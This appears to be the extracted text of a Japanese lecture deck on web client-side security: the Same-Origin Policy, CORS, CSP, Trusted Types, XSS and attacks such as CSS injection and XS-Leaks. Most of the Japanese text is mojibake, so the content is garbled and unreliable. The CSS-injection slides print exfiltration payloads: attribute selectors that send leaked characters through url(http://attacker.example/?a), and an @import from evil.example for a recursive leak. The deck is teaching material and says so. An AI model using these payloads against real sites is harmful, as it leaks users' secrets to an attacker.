Web クライアントサイドの攻防 / Attacks and Defenses in Web Browsers

8FCΫϥΠΞϯταΠυͷ߈๷
ηΩϡϦςΟɾΩϟϯϓࣗशࣨ
5BLBTIJ:POFVDIJ
'MBUU4FDVSJUZ*[email protected] !ZOVDIZ
IUUQTTIJGUKTJOGP

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‣ 5BLBTIJ:POFVDIJ
‣ [email protected]!ZOVDIZ
‣ "⒏MJBUJPO
‣ 'MBUU4FDVSJUZ*OD
‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF
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5PLZP
‣ DUGC MFBEFS
TFDDBNQ TUB⒎

‣ 4FFIUUQTTIJGUKTJOGP
XIPBNJ

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֓ཁ
‣ ຊࢿྉ͸ηΩϡϦςΟɾΩϟϯϓશࠃେձͰఏڙͨ͠ߨٛ
ʮମܥతʹֶͿϞμϯ8FCηΩϡϦςΟʯΛϕʔεʹͯ͠վ୊ɾ
վมͨ͠΋ͷͰ͢ɻ
‣ ౰࣌ͷߨٛͷʮମܥతʹֶͿʯཁૉ͸ओʹࣄલֶश͋ͬͨͨΊɺͦΕ
͕আ͔Ε͍ͯΔຊࢿྉ͸ʮମܥతʯͱ͸ݺ΂·ͤΜʜɻ
‣ 8FCΫϥΠΞϯταΠυͷجૅతͳηΩϡϦςΟػߏɺ߈ܸٕज़
ͷൃలͷྺ࢙Λେ·͔ʹோΊ͍͖ͯ·͢ɻ
‣ ຊߨٛͷԋशͰ͸ɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ
ετʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ
‣ IBDRNF

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஫ҙࣄ߲
‣ ຊࢿྉ͸8FCΫϥΠΞϯταΠυʹ͓͚Δ੬ऑੑɾ߈ܸख๏ʹ͍ͭ
ͯͷద੾ͳཧղΛଅͨ͢Ίͷ΋ͷͰ͋Γɺҧ๏ߦҝΛॿ௕͢Δ΋ͷ
Ͱ͸͋Γ·ͤΜɻ
‣ ຊࢿྉதͰ͸੨എܠͷεϥΠυͰԋश؀ڥ΁ͷϦϯΫΛష͍ͬͯ·
͢ɻͦ͜Ͱࣔ͞Ε͍ͯΔϗετҎ֎ʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱͩ͘
͍͞ɻ

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଎श401$034

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8FCʹ͓͚Δڥքͷඞཁੑ
ͳͥڥք͕Ҿ͔ΕΔ΂͖ͳͷͩΖ͏͔
‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰ੾ͷ੍ݶ͕ͳ͚Ε͹ɺ߈
ܸऀ͸গͳ͍εςοϓͰ৘ใΛϦʔΫͰ͖Δɻ
‣ ໰FWJMDPN͕GFUDI FYBNQMFDPN
Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜
ͱ͕ग़དྷΔ৔߹ɺ߈ܸऀ͸ͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ
‣ ໰͋Δ͍͸ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠΋ͷΛಡΊ
ͨΒͲ͏͔ɻ

http://evil.com
΋ࣗ͠༝ʹ
ಡΈॻ͖͕ग़དྷͨΒʁ
http://example.com

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0SJHJO
3'$5IF8FC0SJHJO$PODFQU
‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO͸࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ
VSJTDIFNF VSJIPTU VSJQPSU

‣ VSJTDIFNFFHIUUQ IUUQT
‣ VSJIPTUFHFYBNQMFDPN
‣ VSJQPSUFH
‣ ஫VSJQPSU͕লུ͞Ε͍ͯΔ৔߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ
ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ

IUUQFYBNQMFDPNTPNFQBUI

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4BNF0SJHJO1PMJDZ
"OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO
‣ ֓ཁ4BNF0SJHJO1PMJDZ
‣ 401͸ҎԼΛېࢭ͢Δɻ
‣ $SPTT0SJHJOͳಡΈࠐΈ
‣ ྫGFUDIͷ݁Ռ
‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦෼త

‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034

‣ Ϧιʔε΁ͷॻ͖ࠐΈ 1045 165 %&-&5&
ΛΠϝʔδ͢ΔͱΑ͍ɻ
‣ ஫ҙຒΊࠐΈͷ੍ޚ͸ผͷػೳ͕୲౰͢Δɻ
‣ 8FCϒϥ΢β͕࣋ͭ࠷΋ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ

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$034 $SPTT0SJHJO3FTPVSDF4IBSJOH

0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ
‣ ໰୊$SPTT0SJHJOͳϦιʔεΛਖ਼౰ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞
৔߹ʹ͸Ͳ͏͢Ε͹Α͍ͷͩΖ͏͔ɻ
‣ ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH
‣ ϦιʔεΛར༻͍ͨ͠ଆ͸ɺࣗ਎ͷ0SJHJOΛ0SJHJOϦΫΤετϔο
μͷ஋ͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ
‣ ϦιʔεΛఏڙ͢Δଆ͸ɺ"DDFTT$POUSPM"MMPXϨεϙϯεϔο
μΛ௨ͯ͠ɺڐՄෆڐՄΛ఻͑Δɻ
‣ ϒϥ΢β͸ϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛ൑அ͢Δɻ
‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034
)551c.%/
IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034

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4JUF
0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք
‣ ໰୊0SJHJO͸΍΍ݫ͍͠ͷͰɺΑΓMPPTFͳ੍໿͕΄͍͠ɻ
‣ ղܾ4JUF
‣ 4DIFNFGVM4JUF4DIFNF F5-%

‣ 4DIFNFMFTT4JUFF5-%
‣ ࠾༻ྫ
‣ 4JUF*TPMBUJPO4DIFNFGVM4JUF
‣ $3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO
64&/*94FDVSJUZ4ZNQPTJVN
‣ 4BNF4JUF$PPLJF $001 $0&1 4DIFNFMFTT4JUF

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‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷ΋ͭσʔλ͸ɺͦͷ֎
෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͸͋Δ
ɻ
‣ 944͸ͦͷ੍໿ͷճආͩͱଊ͑ΒΕΔɻ
‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ
Origin A

εΫϦϓτૠೖ
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4DIXFOLFUBM
4BNF0SJHJO1PMJDZͷςετ
‣ ٙ໰ 4DIXFOLFUBM

‣ 401%0. 401GPS%0.
͸ɺϞμϯͳϒϥ΢βʹ͓͍ͯɺͲͷΑ
͏ʹ࣮૷͞Ε͍ͯΔͷͩΖ͏͔ɻ
‣ 401%0.ʹؔ܎ͷ͋Δ)5.-ϚʔΫΞοϓ͸ͲΕ͔ɻ
‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥ΢βͷڍಈ͸Ϛον͍ͯ͠Δ͔ɻ
‣ ൴Βͷߩݙ ͷҰ෦

‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ IUUQZPVSTPQDPN
ɻ
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944ରࡦͷٕज़ͷൃల

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ରࡦϑϨʔϜϫʔΫଆ
'PPMQSPPG "VUPFTDBQJOH FUD
‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର
ࡦΛఏڙ͍ͯ͠Δɻ
‣ جຊ͸ࣗಈͰΤεέʔϓ͢Δɻ
‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥ͸שى͢Δɻ
‣ FHEBOHFSPVTMZ4FU*OOFS)5.-

= $_GET['q'] ?>
944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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ରࡦ$41
$POUFOU4FDVSJUZ1PMJDZ
‣ ΞΠσΞ
‣ ։ൃऀ͸ɺ)5.-+4ͷͲͷ෦෼͕ࣗ෼͕ఏڙͨ͠΋ͷͰɺͲͷ෦෼
͕ͦ͏Ͱͳ͍͔Λ஌͍ͬͯΔɻ
‣ *OKFDU͞Εͯ΋ɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚Ε͹Α͍ɻ
‣ $41͸։ൃऀ͕ϒϥ΢βʹ ؔ܎͢Δ0SJHJO΍ਖ਼نͷ+4͸ͲΕ
͔ɺͳͲͷ
ࣄલ৘ใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ๷
͍Ͱ͍͜͏ɺͱ͍͏࢓૊Έɻ

Content-Security-Policy: script-src 'nonce-4g34...34r'
alert('Hello, CSP!')
944ͷग़ݱ
ରࡦͷൃల
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Ͱ͖Δ͜ͱ
‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ
‣ ྫTDSJQUTSD GSBNFTSD
‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ
‣ ྫCBTFVSJ TBOECPY
‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ
‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP
‣ 3FQPSUJOH%JSFDUJWFT$41ҧ൓ͷϨϙʔτػೳΛ੍ݶ
‣ ྫSFQPSUVSJ SFQPSUUP
‣ ࣄલֶशͷ1%'ʹ΋ܰ͘ॻ͍ͨͷͰɺࡉ͔͍࿩͸͠·ͤΜɻ

944ͷग़ݱ
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ؔ࿈ݚڀ
‣ ࠓ೔ͷ$41ʹࢸΔ·Ͱʹ͸ɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ
‣ ୅දతͳؔ࿈ݚڀ
‣ #&&1 +JNFUBM

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1SPDFFEJOHTPGUIFUI*OUFSOBUJPOBM$POGFSFODFPO8PSME8JEF8FC QQr

‣ 40." 0EBFUBM

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‣ /PODFTQBDFT 7BO(VOEZBOE$IFO

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$SPTT4JUF4DSJQUJOH"UUBDLT zJO1SPDFFEJOHTPGUIF/FUXPSLBOE%JTUSJCVUFE4ZTUFN4FDVSJUZ4ZNQPTJVN \/%44^
4BO%JFHP $BMJGPSOJB 64" UI'FCSVBSZUI'FCSVBSZ

‣ ॳظͷ$41 4UBNNFUBM
-FWFM -FWFM
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944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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࣮ࡍͷӡ༻ྫΛݟΔ
‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ͸૿͖͍͑ͯͯΔɻ
‣ ՝୊5XJUUFS (JU)VC౳ͷ$41ϔομΛݟͯΈΑ͏ɻ
‣ ϝϞ3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ΋͋Δ͔΋ʁ
‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT

944ͷग़ݱ
ରࡦͷൃల
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໰୊ͱల๬
‣ ໰୊$41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ
‣ ۙ೥͸$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ
‣ ޙํޓ׵ੑ CBDLXBSEDPNQBUJCJMJUZ
Λอͭඞཁ͔Βɺଟ͘ͷ໰୊
͕ൃੜ͖ͯͨ͠ɻ
‣ ఏҊ$41ΛEJTKPJOUʹ෼ׂ͍ͨ͠ɻ
‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔͸ɺΞΠσΞ

‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU
‣ ՝୊$41͕ࠓ๊͍͑ͯΔ໰୊ͱ͸ҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ
ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ

944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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ରࡦ944"VEJUPSܥ
&YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944

‣ ൓ࣹܕ
944Λϒϥ΢β͕ݕ஌
ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ
‣ 99441SPUFDUJPOϔομʹΑ
ΓϞʔυ͕ܾΊΒΕΔ
‣ ແޮ

‣ pMUFS NPEFpMUFS

‣ CMPDL NPEFCMPDL

‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲
ʹਐΜͰ͍ΔɻDMBQ
944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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ରࡦ944"VEJUPSܥ
&YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944

‣ ൓ࣹܕ
944Λϒϥ΢β͕ݕ஌
ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ
‣ 99441SPUFDUJPOϔομʹΑ
ΓϞʔυ͕ܾΊΒΕΔ
‣ ແޮ

‣ pMUFS NPEFpMUFS

‣ CMPDL NPEFCMPDL

‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲
ʹਐΜͰ͍ΔɻDMBQ
944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల
$ISPNFͰ࡟আ͞Εͨ

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944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల
ରࡦ5SVTUFE5ZQFT
ܕγεςϜΛར༻ͯ͠%C944ͱઓ͏
‣ 5SVTUFE5ZQFTʜ৴པ͞ΕͨܕΛ࣋ͭ஋ͷΈΛ֤4JOLʹ୅ೖͰ
͖ΔΑ͏ʹɺͦΕҎ֎ͷܕΛ࣋ͭ஋ͷ୅ೖΛېࢭ͢Δ࢓૊Έɻ
‣ ։ൃऀͷ͢Δ͜ͱ
‣ 4JOLʹԿ͔Λ୅ೖ͢Δͱ͖ʹ͸ɺඞͣ5SVTUFE5ZQFTΛ࣋ͭ஋Λੜ
੒͠ͳͯ͘͸ͳΒͳ͍ɻ
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‣ ϝϦοτ
‣ 5SVTUFE5ZQFTΛ࣋ͭ஋ͷੜ੒ͷٛ຿෇͚ʹΑΓɺΤεέʔϓ౳ͷॲ
ཧ࿙Εͷ͋Δ஋͕ར༻Ͱ͖ͳ͘ͳΔɻ
‣ ϛεʹؾ͕෇͖΍͘͢ͳΔϛεͯͨ͠Βಈ͔ͳ͍ʂ

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944ؔ࿈ͷ߈ܸٕज़ͷൃల

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944ൃల
944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ
$SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTF౳
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…
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೥͝Ζ 94-FBLTपΓͷٞ࿦͕׆ൃʹͳΔ

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944ٕ๏ͷൃల
4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ
‣ ໰୊$41ͷ͍ͤͰɺ͏·͘೚ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ
‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM

‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4΍ɺ͢Ͱʹϩʔυ͞
Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻
PSར༻͢Ε͹ɺ೚ҙ
+4࣮ߦʹܨ͛ΒΕΔͷͰ͸ͳ͍͔ɻ
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4FDVSJUZ QQr

944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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&YFSDJTF
944$IBMMFOHFW
IUUQTYTTDIBMMFOHFUSBJOJOHIBDRNF

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4DSJQUMFTT"UUBDLT
+BWB4DSJQUΛར༻͠ͳ͍߈ܸ
‣ ໰+4Λ࢖ΘͣʹͰ͖Δ߈ܸʹ͸ɺͲͷΑ͏ͳ΋ͷ͕͋Δ͔ɻ
‣ 944ରࡦ͸͍ͯͯ͠΋ɺͦΕҎ֎͸ҙࣝͷ֎Ͱ͋Δɺͱ͍͏৔߹͸͠
͹͠͹͋ΔͨΊɺ͜Ε͸༗ӹͳ໰ɻ
‣ ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత

‣ $44*OKFDUJPOʹؔͯ͠͸ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF
UFDIOJRVF GPOUSBOHFUFDIOJRVF ౳ͷςΫχοΫ͕XFMMLOPXOɻ
‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB

IUUQTWX[[email protected]@[email protected]
‣ .)FJEFSJDI ./JFNJFU[ '4DIVTUFS 5)PM[ BOE+4DIXFOL l4DSJQUMFTT"UUBDLT4UFBMJOHUIF1JFXJUIPVU5PVDIJOHUIF
4JMM zJO1SPDFFEJOHTPGUIF"$.$POGFSFODFPO$PNQVUFSBOE$PNNVOJDBUJPOT4FDVSJUZ QQr

944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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TIJGUKTJOGP
94-FBLT944FBSDI
"UUBDLTBJNJOHUIFQPTU944XPSME
‣ ໰ͦ΋ͦ΋$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍৔߹ʹ΋ɺ߈ܸऀ͸Կ
Β͔ͷ߈ܸΛߦ͏༨஍͕͋ΔͷͩΖ͏͔ɻ
‣ ΞΠσΞ΋͠৘ใͷ׬શͳϦʔΫ͕ݫͯ͘͠΋ʜʜʁ
‣ $SPTT0SJHJO͔ΒͰ΋ಡΊΔ৘ใ͔ΒɺԿ͔ҙຯͷ͋Δ৘ใΛ
நग़Ͱ͖ͳ͍͔ɻ
‣ ͦ΋ͦ΋ಡ·ΕΔ͜ͱ͕૝ఆ͞Ε͍ͯͳ͍৘ใΛɺαΠυνϟω
ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ
‣ ͜ͷΞΠσΞͷ΋ͱɺ$SPTTTJUF-FBLT 94-FBLT
΍$SPTT
TJUF4FBSDI 944FBSDI
ͱݺ͹ΕΔྨ͕ొ৔ͨ͠ɻ

944ͷग़ݱ
ରࡦͷൃల
߈ܸͷൃల

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TIJGUKTJOGP
༨ஊ
ϨΠϠͷؒΛࢄา͢Δ

‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU
(BEHFUTʯʁ
‣ ϋʔυ΢ΣΞ
%&1͸/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ
‣ $41͸σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ
‣ ͜ΕΒ͸͔֬ʹಉ͡੾Γޱͷ߈ܸͰ͋Δͱݴ͑Δɻ
‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM

‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM
TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS
‣ 6TF"GUFS'SFF 6"'
ͷߟ͑ํΛҰൠԽͯ͠ண૝ΛಘͨΒ͍͠ɻ
‣ %BOJFM(SVTTࢯ΍ͦͷपลͷํʑ͕΍͍ͬͯΔݚڀ͸ඇৗʹ໘ന͍ͷ
Ͱɺ΢Υον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔΋ɻ

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$44*OKFDUJPO

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TIJGUKTJOGP
લఏ஌ࣝ
"UUSJCVUF3FBEJOH$44*OKFDUJPO
‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ
‣ ͜Ε͸࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ
‣ ͜ΕΛԠ༻͢Δͱ ଐੑ஋ΛMFBLՄೳɻ

input[value ^= "a"] { /* ... */ } 
input[value ^= "ab"] { /* ... */ } 
input[value ^= "abc"] { /* ... */ }

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TIJGUKTJOGP
߈ܸͷߏ଄

input[value ^= "a"] {
background: url(http://attacker.example/?a)
} /* ... */

‘
߈ܸϕΫλ
ϦΫΤετ
ϦʔΫ
൓ࣹܕ
஝ੵܕ
४උ

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TIJGUKTJOGP
߈ܸͷݪཧ
‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠৔߹Λߟ͑Δɻ
‣ ߈ܸऀ͸ɺ$44*OKFDUJPO͕Ͱ͖Δ৔ॴʹɺҎԼͷΑ͏ͳ$44Λ܁
Γฦ͠ BΛC D ͱม͑ͭͭ
ૠೖ͍ͯ͘͠ɻ
‣ ߈ܸऀ͸BUUBDLFSFYBNQMFͰ଴ͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ
ੑͷจࣈ໨Λ஌Δ͜ͱ͕Ͱ͖Δɻ

input[value ^= "a"] {  
background: url(http://attacker.example/?a) 
}

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TIJGUKTJOGP
-JHBUVSF੍ޚʹΑΔϦʔΫ
-JHBUVSF$44*OKFDUJPO
‣ ໰୊͜͜·Ͱʹ঺հͨ͠"UUSJCVUF3FBEJOHͰ͸ɺλάͷଐੑ஋
͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ
‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑ஋Ҏ֎΋ಡΈग़ͤΔɻ
‣ ϑΥϯτͷ-JHBUVSFΛར༻ͯ͠จࣈͷ෯εΫϩʔϧόʔΛ੍ޚ͢Δ
‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ
‣ ิ଍)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$
͕ެ։͞Εͨͷ͸#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ
.#FOULPXTLJ l8ZLSBEBOJFEBOZDIX㶄XJFUOZNTUZMVrD[ZMJKBLXZLPS[ZTUB㶛$44ZEPBUBLÓXOBXFCBQMJLBDK㶝 z<0OMJOF>
"WBJMBCMFIUUQTTFLVSBLQMXZLSBEBOJFEBOZDIXTXJFUOZNTUZMVD[ZMJKBLXZLPS[ZTUBDDTTZEPBUBLPXOBXFCBQMJLBDKF
.BS>

ϑΥϯτ੍ޚ εΫϩʔϧόʔ੍ޚ
߈ܸϕΫλ = +

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TIJGUKTJOGP
͜Ε·Ͱͷख๏ͷ໰୊఺
$44*OKFDUJPO
‣ ՝୊"UUSJCVUF3FBEJOH΋-JHBUVSF੍ޚʹΑΔϦʔΫ͸ɺ۪௚ʹ
΍Δͱɺෳ਺ճͷϦΫΤετ JOKFDUJPO
͕ඞཁʹͳΔɻ
‣ 㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λ஫ೖ͢Δඞཁ͕͋Δɻ
‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳର৅͸ϦʔΫͰ͖ͳ͍ɻ
‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB

‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺ౓ͷJOKFDUJPOͰϦʔΫΛࡁ·ͤ
Δɺͱ͍͏ख๏ɻ
‣ ͜ͷߨٛͰ΋͜ͷख๏ʹ͍ͭͯ͸આ໌͢Δ͕ɺҎԼͷ7JMBͷεϥΠυΛ
ಡΉ͜ͱΛקΊΔɻ
IUUQTWX[[email protected]@[email protected]

View Slide

TIJGUKTJOGP
߈ܸͷΞΠσΞ

3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO
‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λ஫ೖ͢Δɻ

@import url(//evil.example/0.css)
input[value^=a]{/*...*/}
input[value^=b]{/*...*/}
...
input[value^=z]{/*...*/}
‣ DTTͷத਎ΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ

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TIJGUKTJOGP
߈ܸͷΞΠσΞ


input[value^=aa]{/*...*/}
input[value^=ab]{/*...*/}
...
input[value^=az]{/*...*/}
‣ DTT΁ͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ
‣ DTTԼ෦Ͱจࣈ໨ͷϦʔΫ͕ߦΘΕΔɻ
‣ ͜ͷจࣈ໨ͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ੒͢Δɻ
‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ౴͢Δɻ

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TIJGUKTJOGP
߈ܸͷΞΠσΞ


‣ ར఺
‣ ॳΊʹTUZMFλάҰͭΛ஫ೖ͢Δ͚ͩͰ͢Ήɻ
‣ ϦΫΤετ͝ͱʹมԽͯ͠͠·͏Α͏ͳ஋Ͱ͋ͬͯ΋ϦʔΫͰ͖Δʂ
‣ େࣄͳͱ͜Ζ
‣ ࠶ؼతʹ$44ΛJNQPSU͢Δɻ
‣ ΋ͬͱ΋࠶ؼతͰ͋Δඞཁ͸ͳ͘ɺฒྻͤͯ͞΋Α͍ɻ
‣ ϦΫΤετʹରͯ͠௚ͪʹฦ౴ͤͣɺ४උ͕Ͱ͖͔ͯΒฦ౴͢Δɻ
‣ ஫ҙ
‣ $44ͷద༻༏ઌ౓ͷ໰୊Ͱɺ࣮͸͜ͷ··Ͱ͸ಈ͔ͳ͍ɻ

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TIJGUKTJOGP
ิ଍
$44*OKFDUJPO΋ͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ
‣ 3FDVSTJWF*NQPSU5FDIOJRVFʹؔͯ͠͸ɺ߈ܸ༻ͷεΫϦϓτͷ
࣮૷͕ͦΕͳΓʹ໘౗Ͱ͋Δɻ
‣ )551Λ஻Δαʔό͕ඞཁͳͨΊɻ
‣ ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ
‣ IUUQTHJUIVCDPNEOVUQUSTJD
‣ IUUQTHJUIVCDPNNPOTFO
‣ ͜ΕΛҰ౓ࣗ෼Ͱॻ͍ͯΈΔͷ͸͘͢͝ษڧʹͳΔɻ
‣ ࢀߟ
‣ IUUQTYDMMHJUIVCJPQPTUT$44*OKFDUJPO1SJNJUJWFT

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TIJGUKTJOGP
༨ஊߴ଎Խɾ࠷దԽͷฐ֐
$44*OKFDUJPO΍5SBOTJFOU&YFDVUJPO"UUBDLTΛྫʹ
‣ ؾ͖ͮߴ଎Խ΍࠷దԽ͸ɺ͠͹͠͹ηΩϡϦςΟ্ͷ໰୊Λ༠ಋ͠
ͯ͠·͏ʜɻ
‣ ྫ౤ػత࣮ߦͷΑ͏ͳ࢓૊Έ͕5SBOTJFOU&YFDVUJPO"UUBDLTΛ༠
ಋͨ͠ɻ
‣ ྫ ϒϥ΢βʹ͓͚Δ
$440.ͷߏஙͱϨϯμϦϯάπϦʔߏஙͷ
ύΠϓϥΠϯԽ
͕3FDVSTJWF*NQPSU5FDIOJRVFΛ༠ಋͨ͠ɻ
‣ ྫΩϟογϡ͕λΠϛϯά߈ܸͷོ੝Λ༠ಋͨ͠ɻ
‣ ໰ߴ଎Խɾ࠷దԽͱηΩϡϦςΟͱͷڞଘͷಓ͸͋ΔͩΖ͏͔ɻ

View Slide

&YFSDJTF
$44*OKFDUJPO$IBMMFOHF
IUUQTDTTJDIBMMFOHFIBDRNF

View Slide

94-FBLTBOE944FBSDI

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TIJGUKTJOGP
جຊతͳΞΠσΞ
94-FBLT 944FBSDI
‣ ٙ໰੬ऑੑͷͳ͍8FCΞϓϦέʔγϣϯʹରͯ͠ɺͳΜΒ͔ͷ߈
ܸΛߦ͏͜ͱ͸Ͱ͖ͳ͍͔ɻ
‣ ΞΠσΞ$SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ɺݶΒΕ͍ͯΔ͕ɺ
ݩʑͷ)5.-จॻͷத਎ɾߏ଄ͷਪଌͷώϯτʹͳΔɻ
‣ $SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ͦͷϦιʔεͷࣹӨͰ͋Δɻ
‣ ద౰ͳԾఆΛஔ͚͹ɺ౰֘ϦιʔεΛਪଌͰ͖Δ͔΋͠Εͳ͍ɻ
‣ $SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ɺ࣍ͷΑ͏ʹ෼ྨͰ͖Δɻ
‣ ެࣜʹఏڙ͞Ε͍ͯΔ΋ͷ FHXJOEPXMFOHUI

‣ αΠυνϟωϧతख๏ʹΑΓ؍ଌͰ͖Δ΋ͷ

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TIJGUKTJOGP
$SPTTTJUF-FBLT4FBSDI
94-FBLT 944FBSDI
‣ $SPTTTJUFMFBLT 94-FBLT
ͱ͸ɺϒϥ΢β্ͰͷαΠυνϟ
ωϧͨͪͷ૯শͰ͋Δɻ΍΍ޠฐ͸͋Δ͕ɻ
‣ 94-FBLT߈ܸͱ͸ͦΕΒΛར༻ͨ͠αΠυνϟωϧ߈ܸͷ͜ͱɻ
‣ ͱ͘ʹ܁Γฦ͠ͷ໰͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔Β
ͳΔ߈ܸ͸ɺ$SPTTTJUF4FBSDI 944FBSDI
ͱݺ͹ΕΔɻ
